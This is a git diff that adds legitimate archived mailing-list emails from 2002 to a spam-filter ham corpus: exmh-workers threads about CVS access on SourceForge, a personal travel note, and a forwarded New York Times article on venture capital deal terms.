ESMTP id A4BBF38DA2; Fri, 26 Jul 2002 18:38:14 -0500 (CDT) +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +In-Reply-To: <200207262200.SAA15582@blackcomb.panasas.com> +References: <200207262200.SAA15582@blackcomb.panasas.com> +Comments: In-reply-to Brent Welch message dated "Fri, + 26 Jul 2002 15:00:57 -0700." +To: Brent Welch +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: cvs access working? +MIME-Version: 1.0 +From: Hal DeVore +X-Image-Url: http://www.geocities.com/hal_devore_ii/haleye48.gif +Content-Type: text/plain; charset=us-ascii +Message-Id: <24284.1027726689@dimebox> +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 18:38:09 -0500 + + +I just successfully did a cvs update via ssh. + +My CVS root looks a little different than yours. + +cat CVS/Root +:ext:haldevore@cvs.exmh.sourceforge.net:/cvsroot/exmh + + + +--Hal + + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00739.dbf08fcc01fee2e659d36fe697230097 b/bayes/spamham/easy_ham_2/00739.dbf08fcc01fee2e659d36fe697230097 new file mode 100644 index 0000000..a74b770 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00739.dbf08fcc01fee2e659d36fe697230097 @@ -0,0 +1,87 @@ +From exmh-workers-admin@redhat.com Mon Jul 29 11:24:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3276C440F1 + for ; Mon, 29 Jul 2002 06:22:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:22:56 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RAFDi19285 for + ; Sat, 27 Jul 2002 11:15:13 +0100 +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + webnote.net (8.9.3/8.9.3) with ESMTP id XAA14409 for ; + Fri, 26 Jul 2002 23:14:20 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 089D4409C7; Fri, 26 Jul 2002 + 18:13:17 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id F155540B1B + for ; Fri, 26 Jul 2002 18:01:04 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6QM15F20597 for exmh-workers@listman.redhat.com; Fri, 26 Jul 2002 + 18:01:05 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6QM14R20593 for + ; Fri, 26 Jul 2002 18:01:04 -0400 +Received: from blackcomb.panasas.com (gw2.panasas.com [65.194.124.178]) by + mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6QLn7s07986 for + ; Fri, 26 Jul 2002 17:49:08 -0400 +Received: from medlicott.panasas.com (IDENT:welch@medlicott.panasas.com + [172.17.132.188]) by blackcomb.panasas.com (8.9.3/8.9.3) with ESMTP id + SAA15582 for ; Fri, 26 Jul 2002 18:00:58 -0400 +Message-Id: <200207262200.SAA15582@blackcomb.panasas.com> +X-Mailer: exmh version 2.5.9 07/25/2002 with nmh-1.0.4 +To: exmh-workers@spamassassin.taint.org +Subject: cvs access working? +From: Brent Welch +X-Url: http://www.panasas.com/ +X-Face: "HxE|?EnC9fVMV8f70H83&{fgLE.|FZ^$>@Q(yb#N,Eh~N]e&]=> + r5~UnRml1:4EglY{9B+ :'wJq$@c_C!l8@<$t,{YUr4K,QJGHSvS~U]H`<+L*x?eGzSk>XH\W:AK\j?@?c1o +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 15:00:57 -0700 + +Can anyone access the CVS server for exmh? +The last thing I was able to do was try a "cvs commit", but +I got an "up-to-date check failed" for a couple files, +exmh.CHANGES and lib/msg.tcl, I think, so I then tried "cvs update". +I get a password prompt, and then it just hangs. + +cat CVS/Root +welch@cvs.sourceforge.net:/cvsroot/exmh + +-- +Brent Welch +Software Architect, Panasas Inc +Pioneering the World's Most Scalable and Agile Storage Network +www.panasas.com +welch@panasas.com + + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00740.ee2bca9de808193c2af8a0c0212f752e b/bayes/spamham/easy_ham_2/00740.ee2bca9de808193c2af8a0c0212f752e new file mode 100644 index 0000000..f43b39c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00740.ee2bca9de808193c2af8a0c0212f752e @@ -0,0 +1,129 @@ +From exmh-workers-admin@redhat.com Mon Jul 29 11:26:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 84BFE440EC + for ; Mon, 29 Jul 2002 06:24:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:24:37 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6SLC6i24203 for + ; Sun, 28 Jul 2002 22:12:07 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id 762A43EA0C; Sun, 28 Jul 2002 + 17:11:02 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id CEBB03EC4B + for ; Sun, 28 Jul 2002 17:05:44 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6SL5iT26295 for exmh-workers@listman.redhat.com; Sun, 28 Jul 2002 + 17:05:44 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6SL5iR26291 for + ; Sun, 28 Jul 2002 17:05:44 -0400 +Received: from austin-jump.vircio.com + (IDENT:tpNBTlDuUXt6qd6BRApPrZfFhDyTfYkc@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6SKrcs08446 + for ; Sun, 28 Jul 2002 16:53:39 -0400 +Received: (qmail 15462 invoked by uid 104); 28 Jul 2002 21:05:43 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4214. . Clean. Processed in 0.321793 + secs); 28/07/2002 16:05:43 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 28 Jul 2002 21:05:43 -0000 +Received: (qmail 17773 invoked from network); 28 Jul 2002 21:05:39 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?hVjeAvp4s/8Zr5rYXitC3xF7h/7NDXYb?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 28 Jul 2002 21:05:39 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Brent Welch +Cc: exmh-workers@spamassassin.taint.org +Subject: Re: cvs access working? +In-Reply-To: <200207262200.SAA15582@blackcomb.panasas.com> +References: <200207262200.SAA15582@blackcomb.panasas.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_13609133P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027890339.17546.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Sun, 28 Jul 2002 16:05:37 -0500 + +--==_Exmh_13609133P +Content-Type: text/plain; charset=us-ascii + +> From: Brent Welch +> Date: Fri, 26 Jul 2002 15:00:57 -0700 +> +> Can anyone access the CVS server for exmh? +> The last thing I was able to do was try a "cvs commit", but +> I got an "up-to-date check failed" for a couple files, +> exmh.CHANGES and lib/msg.tcl, I think, so I then tried "cvs update". +> I get a password prompt, and then it just hangs. +> +> cat CVS/Root +> welch@cvs.sourceforge.net:/cvsroot/exmh + +I did a commit on friday and I just did an update right now. + +cat CVS/Root +:ext:cwg@cvs.exmh.sourceforge.net:/cvsroot/exmh + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_13609133P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9RFygK9b4h5R0IUIRAvp1AJ4uedoak2We0nGHfzih7g+6TZEI3QCfccvt +GLM1U8Y3z4JPyzUYNHLE0Zc= +=6M2X +-----END PGP SIGNATURE----- + +--==_Exmh_13609133P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00741.69c01dfaf0584817f92435ebd0e7c8c3 b/bayes/spamham/easy_ham_2/00741.69c01dfaf0584817f92435ebd0e7c8c3 new file mode 100644 index 0000000..271ed38 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00741.69c01dfaf0584817f92435ebd0e7c8c3 @@ -0,0 +1,122 @@ +From exmh-workers-admin@redhat.com Mon Jul 29 11:26:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5EC2344135 + for ; Mon, 29 Jul 2002 06:24:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:24:38 +0100 (IST) +Received: from listman.spamassassin.taint.org (listman.spamassassin.taint.org [66.187.233.211]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6SLU6i24859 for + ; Sun, 28 Jul 2002 22:30:06 +0100 +Received: from listman.spamassassin.taint.org (localhost.localdomain [127.0.0.1]) by + listman.redhat.com (Postfix) with ESMTP id A9DB73EA65; Sun, 28 Jul 2002 + 17:29:02 -0400 (EDT) +Delivered-To: exmh-workers@listman.spamassassin.taint.org +Received: from int-mx1.corp.spamassassin.taint.org (int-mx1.corp.spamassassin.taint.org + [172.16.52.254]) by listman.redhat.com (Postfix) with ESMTP id 0D8403F42C + for ; Sun, 28 Jul 2002 17:26:07 -0400 + (EDT) +Received: (from mail@localhost) by int-mx1.corp.spamassassin.taint.org (8.11.6/8.11.6) + id g6SLQ6M28784 for exmh-workers@listman.redhat.com; Sun, 28 Jul 2002 + 17:26:06 -0400 +Received: from mx1.spamassassin.taint.org (mx1.spamassassin.taint.org [172.16.48.31]) by + int-mx1.corp.redhat.com (8.11.6/8.11.6) with SMTP id g6SLQ6R28777 for + ; Sun, 28 Jul 2002 17:26:06 -0400 +Received: from austin-jump.vircio.com + (IDENT:AzHljB/YcNzYN5Y8xd95U7KW4eGh1ARj@jump-austin.vircio.com + [192.12.3.99]) by mx1.redhat.com (8.11.6/8.11.6) with SMTP id g6SLE1s11149 + for ; Sun, 28 Jul 2002 17:14:01 -0400 +Received: (qmail 16503 invoked by uid 104); 28 Jul 2002 21:26:05 -0000 +Received: from cwg-exmh@DeepEddy.Com by localhost.localdomain with + qmail-scanner-0.90 (uvscan: v4.1.60/v4214. . Clean. Processed in 0.405367 + secs); 28/07/2002 16:26:05 +Received: from deepeddy.vircio.com (@[10.1.2.1]) (envelope-sender + ) by austin-jump.vircio.com (qmail-ldap-1.03) with + SMTP for ; 28 Jul 2002 21:26:05 -0000 +Received: (qmail 18511 invoked from network); 28 Jul 2002 21:26:02 -0000 +Received: from localhost (HELO deepeddy.vircio.com) + (?QQrDhI2BzVHFghnM0psmzbZ4zihzHKFt?@[127.0.0.1]) (envelope-sender + ) by localhost (qmail-ldap-1.03) with SMTP for + ; 28 Jul 2002 21:26:02 -0000 +X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 +To: Brent Welch , exmh-workers@spamassassin.taint.org +Subject: Re: cvs access working? +In-Reply-To: <1027890339.17546.TMDA@deepeddy.vircio.com> +References: <200207262200.SAA15582@blackcomb.panasas.com> + <1027890339.17546.TMDA@deepeddy.vircio.com> +X-Url: http://www.DeepEddy.Com/~cwg +X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif +MIME-Version: 1.0 +Content-Type: multipart/signed; + boundary="==_Exmh_49691723P"; + micalg=pgp-sha1; + protocol="application/pgp-signature" +Content-Transfer-Encoding: 7bit +Message-Id: <1027891561.18255.TMDA@deepeddy.vircio.com> +From: Chris Garrigues +X-Delivery-Agent: TMDA/0.57 +Reply-To: Chris Garrigues +X-Loop: exmh-workers@spamassassin.taint.org +Sender: exmh-workers-admin@spamassassin.taint.org +Errors-To: exmh-workers-admin@spamassassin.taint.org +X-Beenthere: exmh-workers@spamassassin.taint.org +X-Mailman-Version: 2.0.1 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Discussion list for EXMH developers +List-Unsubscribe: , + +List-Archive: +Date: Sun, 28 Jul 2002 16:25:59 -0500 + +--==_Exmh_49691723P +Content-Type: text/plain; charset=us-ascii + +> From: Chris Garrigues +> Date: Sun, 28 Jul 2002 16:05:37 -0500 +> +> I did a commit on friday and I just did an update right now. + +I just did another commit. It was a minor change I'd been thinking of, so I +thought I'd check it in just to test cvs. + +Chris + +-- +Chris Garrigues http://www.DeepEddy.Com/~cwg/ +virCIO http://www.virCIO.Com +716 Congress, Suite 200 +Austin, TX 78701 +1 512 374 0500 + + World War III: The Wrong-Doers Vs. the Evil-Doers. + + + + +--==_Exmh_49691723P +Content-Type: application/pgp-signature + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Exmh version 2.2_20000822 06/23/2000 + +iD8DBQE9RGFnK9b4h5R0IUIRAllfAJ9BUoCuOA3+kOIMHVBeRU5S7HPg7gCeKv0Z +j0oRuMgmAL+NMS9sjvoXyVw= +=OzEq +-----END PGP SIGNATURE----- + +--==_Exmh_49691723P-- + + + +_______________________________________________ +Exmh-workers mailing list +Exmh-workers@redhat.com +https://listman.redhat.com/mailman/listinfo/exmh-workers + + diff --git a/bayes/spamham/easy_ham_2/00742.ce72d7c8245e881d6e0ee5d8e9cfabab b/bayes/spamham/easy_ham_2/00742.ce72d7c8245e881d6e0ee5d8e9cfabab new file mode 100644 index 0000000..580a23c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00742.ce72d7c8245e881d6e0ee5d8e9cfabab @@ -0,0 +1,109 @@ +From fork-admin@xent.com Mon Jul 29 11:28:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8966044160 + for ; Mon, 29 Jul 2002 06:25:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:29 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6QKBur23143 for ; + Fri, 26 Jul 2002 21:11:56 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 238E72940ED; Fri, 26 Jul 2002 13:10:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mtiwmhc22.worldnet.att.net (mtiwmhc22.worldnet.att.net + [204.127.131.47]) by xent.com (Postfix) with ESMTP id 900452940B5 for + ; Fri, 26 Jul 2002 13:09:36 -0700 (PDT) +Received: from localhost ([12.75.3.95]) by mtiwmhc22.worldnet.att.net + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020726200940.BYCE2117.mtiwmhc22.worldnet.att.net@localhost> for + ; Fri, 26 Jul 2002 20:09:40 +0000 +MIME-Version: 1.0 (Apple Message framework v482) +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Subject: TRAVELMAN: if it's Tuesday, it must be London... +From: Rohit Khare +To: Fork@xent.com +Message-Id: <9FBA6F3A-A0D3-11D6-9EBC-000393A46DEA@alumni.caltech.edu> +X-Mailer: Apple Mail (2.482) +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 16:09:43 -0400 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g6QKBur23143 + +Well, it wouldn't be my own vanity list if I didn't forward at least a +little purely self-interested data. + +This week is my Europe Week. In classic TRAVELMAN fashion, I'm hitting +two nights each in Paris, London, Hamburg, and Copenhagen. + +I get to cure Rob's brain-pains this weekend, though at risk of missing +the big concert in London Sunday :-( + +> Around Town +> Channel 4's Indian Summer +> +> As England meets India in four test matches this Summer, Channel 4 +> brings together a host of activities reflecting Indian life in a free +> event held over the weekend (27/28 July). A huge screen in Regent's +> Park will bring coverage of the first Test Match live from Lords +> throughout the weekend. Marylebone Green will be the setting for a +> chance to sample a mix of Indian food, music and film; an 8-piece +> Indian-style brass band will be performing Bollywood tunes, and there +> will be live DJ sets as well as performance by The Angel Dancers, who +> have performed with Bollywood stars around the world. In the evening +> (27), there will be an open-air screening of the comedy hit 'Monsoon +> Wedding'. A live concert by award-winning, British-Asian artist Nitin +> Sawhney will bring the weekend to a climax on 28 July, with special +> guests including Badmarsh & Shri and Asian Dub Foundation. +> +> 27-28 July, 10.30am-9pm, Marylebone Green, Regent's Park. Baker Street/ +> Great Portland Street/ Regent's Park tube + +Instead, I'm arriving in London on Monday morning, staying through a +show of Andrew Lloyd Weber's new production, Bombay Dreams + +> Bombay Dreams Set to be the latest in a long line of Andrew Lloyd +> Webber smash hits comes 'Bombay Dreams', based on the book by Meera +> Syal, and lyrics by AR Rahman, whose last project was the +> Oscar-nominated 'Lagaan'. The project cost £4 million and doesn't +> feature a single note of Lloyd Webber's music - which may or may not be +> a good thing! +> +> Until 29 Sept, 7.45pm Mon-Tue & Fri, 3pm & 7.45pm.Wed & Sat, Apollo +> Victoria, Wilton Road, SW1 (0870 4000 650). Victoria tube/rail. + +I'll be visiting a cousin-in-law (my cousin's visa is still in the +works... a looong process). + +The next stop is to visit a cousin's family proper, and a niece I +haven't met since she was born 3-4 years ago. Should be a blast! + +Finally, Friday and Saturday of next week will be Copenhagen for +Henrik's second wedding... to the same woman, tho! :-) + +Bon voyage, + Rohit + +PS. Yes, it's egotistical to wish oneself a "Bon Voyage". Screw it, it's +my list, dammit! + +--- +My permanent email address is khare@alumni.caltech.edu + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00743.7787f0f8205e4ff2226a563c39b81039 b/bayes/spamham/easy_ham_2/00743.7787f0f8205e4ff2226a563c39b81039 new file mode 100644 index 0000000..ce8e489 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00743.7787f0f8205e4ff2226a563c39b81039 @@ -0,0 +1,207 @@ +From fork-admin@xent.com Mon Jul 29 11:29:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2A53F4416E + for ; Mon, 29 Jul 2002 06:25:42 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:42 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6T3PGi08381 for ; + Mon, 29 Jul 2002 04:25:17 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5FAD22940C0; Sun, 28 Jul 2002 20:23:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) + by xent.com (Postfix) with ESMTP id 1F6E62940BF for ; + Sun, 28 Jul 2002 20:22:50 -0700 (PDT) +Received: from Intellistation ([66.31.2.27]) by rwcrmhc52.attbi.com + (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id + <20020729032305.QSJW14958.rwcrmhc52.attbi.com@Intellistation> for + ; Mon, 29 Jul 2002 03:23:05 +0000 +Content-Type: text/plain; charset="iso-8859-1" +From: Eirikur Hallgrimsson +Organization: Electric Brain +Subject: NYT: Venture Capitalists Are Taking the Gloves Off +User-Agent: KMail/1.4.1 +To: FoRK +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200207282320.56581.eh@mad.scientist.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 28 Jul 2002 23:20:56 -0400 + +The trend isn't news, but some of the details of the ugliness are +interesting. Worth FoRKing for the archives, too. + +http://www.nytimes.com/2002/07/28/business/yourmoney/28VENT.html?todaysheadlines=&pagewanted=print&position=top + + +July 28, 2002 +Venture Capitalists Are Taking the Gloves Off +By LYNNLEY BROWNING + +The venture capital world is looking less like a genteel club and more like +a brawling barroom. + +Venture capitalists are offering the companies they bankroll increasingly +hard-knuckled deals that leave little wealth for a start-up's managers or +original backers. The moves are leading some entrepreneurs, desperate for +money, to decry today's investors as bullies. Some venture capitalists are +even suing rival venture firms, asserting that the tough new terms are +wiping out the value of their previous investments. + +"People are playing hardball," said Ted Dintersmith, a general partner at +Charles River Ventures, based in Waltham, Mass. + +The bursting of the Internet stock bubble more than two years ago wiped out +many venture investments in dot-coms. Now, amid the bear market in stocks +and limited prospects for investors or young companies to make money soon, +venture capitalists are looking for novel ways to make money. As a result, +"private companies are facing the most onerous terms from venture +capitalists that we have seen in 20 years," said Steven E. Bochner, a +securities lawyer at Wilson Sonsini Goodrich & Rosati in Palo Alto, Calif., +who represents venture firms. + +In the boom of the late 1990's, venture capitalists chose one of two +options. They could be paid back their invested capital, share in profits +and receive dividends. Or they could convert their preferred shares into +common stock when the private company held an initial public offering or +was sold. During that time of huge payouts for newly public and acquired +companies, they usually chose No. 2. + +But with markets now all but dead for initial public offerings and mergers +and acquisitions, venture capitalists from Silicon Valley to the East Coast +are increasingly demanding - and getting - both options. This "double dip," +known as "participating preferred," leaves far less potential wealth for a +company's founders and previous investors. Venture capitalists are also +negotiating more deals with heightened "liquidation preferences," in which +start-ups agree to pay back the initial investment at least two or three +times over. + +Previously, venture capitalists handed over money to a start-up in a lump +sum. But more are now parceling out funds in tranches, and then only when +the new companies reach certain milestones - a sales target, for example, +or the hiring of a particular chief executive. + +They are even trying to protect their investments through veto rights that +permit them to block future investments from other venture capitalists who +might dilute their stakes, said Mark G. Borden, chairman of the corporate +department at Hale & Dorr, a law firm based in Boston. As a result, Mr. +Borden said, a start-up company that casts its lot with a particular +venture capitalist or group of investors may find itself tethered to those +backers and unable to raise new money elsewhere. + +ENTREPRENEURS particularly dislike one recent trend: venture capitalists +have been pushing young companies to agree, retroactively, to lower the +prices that investors now pay for shares should the start-up be worth less +when it tries to raise more money later. Such a move, known as a "full +ratchet," is intended to prevent an investor's stake from being diluted. +But it can significantly reduce or even wipe out the stakes of a company's +original investors and managers, giving the new investors most of the +company for a song. + +"If you were in the first round of investors, you generally now get +crushed" when a start-up raises more money later, said J. Edmund Colloton, +general partner and chief operating officer of Bessemer Venture Partners, +based in Wellesley Hills, Mass. + +Consider Mahi Networks, a private optical networking start-up. In three +rounds of financing, from September 1999 to November 2001, Mahi raised $110 +million from blue-chip venture firms like Benchmark Capital, Sequoia +Capital, the GE Capital unit of General Electric and the venture arm of +Goldman Sachs. At one point during the Internet boom, Mahi was valued at +more than $180 million. + +Last month, though, a new group of smaller-name investors, led by St. Paul +Venture Capital of Minneapolis, acquired about three-quarters of the +company for $75 million in financing. Before that, Mahi was valued at only +$25 million, said Chris Rust, Mahi's president and chief executive. But +most of that was tied up in employee incentives, including stock options, +leaving almost no value for existing investors. + +Despite having nurtured Mahi with money and advice, the early investors +chose not to back the company further. With the new, lower valuation, +"there was effectively no value attributed to all of our previous +investments," said one venture capitalist whose firm was an early backer. +"We were all completely washed out" in the last round, said the investor, +who spoke on condition of anonymity. + +There is no hard data on the prevalence of the newer, tougher terms. +Venture capitalists are famously secretive about their deals, which are +private and largely unregulated. But ask venture capitalists or securities +lawyers who work with start-ups, and tales of onerous terms will abound. +"At the end of the day, the money is coming with strings attached," said +Mark G. Heesen, president of the National Venture Capital Association, a +trade group based in Arlington, Va. + +The shift has turned the conventional wisdom on its head. Venture +capitalists once loved risk, but no more. The Internet bust and Wall +Street's slump have left them scrambling to make money to repay their own +investors and to justify their management fees. + +Venture capitalists once clamored to be first in the door of a hot new +company. Now they can usually make money only by being the most recent +investor. "We're certainly looking for later-stage deals, where you get the +benefit of the previous investors having taken the risk," said Todd Dagres, +a general partner at Battery Ventures in Wellesley, Mass. + +Some entrepreneurs agree to the harsh new terms simply because they have no +other way to raise cash to survive. But other managers now shun the +investors, whom they call "vulture capitalists," bent on picking the meat +off a young or struggling start-up. Today's venture capitalists "want to +take advantage of you," said George R. Waller, chief executive of Strike +Force Technologies, an employee-financed software maker in West Orange, +N.J. Mr. Waller said he had turned away 30 venture firms in recent months +because they had demanded, among other things, hard-to-reach sales +milestones. + +George J. Nassef, chief executive of ValetNoir, a start-up based in New +York that makes marketing software for casinos, said several venture firms +had even asked in recent months to have their potential investments secured +with receivables, or money owed to ValetNoir by its customers. He turned +them all down. + +NOT surprisingly, the shift in financing terms is upsetting some venture +firms that were early investors in start-ups but are now suffering as the +companies seek to raise additional money at bargain-basement prices. + +In one high-profile case, Benchmark Capital, a blue-chip Silicon Valley +firm, sued the Canadian Imperial Bank of Commerce and Juniper Financial +this month. Benchmark was an early investor in Juniper, an online financial +services concern, having put $20 million into it in early 2000, just before +the Internet bubble burst. It also contributed to a second, $94 million +round that September. Juniper, based in Wilmington, Del., is seeking to +raise $50 million from Canadian Imperial, which already owns around half +the company, but on terms that would sharply dilute Benchmark's original, +unspecified stake. Benchmark sued to prevent the start-up from raising the +money. All the parties declined to comment on the case, which a Delaware +judge threw out last week. + +Such friction was rare during the boom, when venture capitalists operated +like a competitive but tight-knit fraternity, channeling deals to one +another. Start-ups and their backers saw their interests as allied. But in +tighter markets, "there's a lot of ugly behavior coming out," said Mr. +Bochner, the Wilson Sonsini lawyer. "There's going to be much more +litigation like this." + + + + +------------------------------------------------------- + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00744.42d3e687c07b8a21b4796a6f72f24186 b/bayes/spamham/easy_ham_2/00744.42d3e687c07b8a21b4796a6f72f24186 new file mode 100644 index 0000000..f25c5f1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00744.42d3e687c07b8a21b4796a6f72f24186 @@ -0,0 +1,195 @@ +From fork-admin@xent.com Mon Jul 29 11:29:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1B6B944106 + for ; Mon, 29 Jul 2002 06:25:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:43 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + 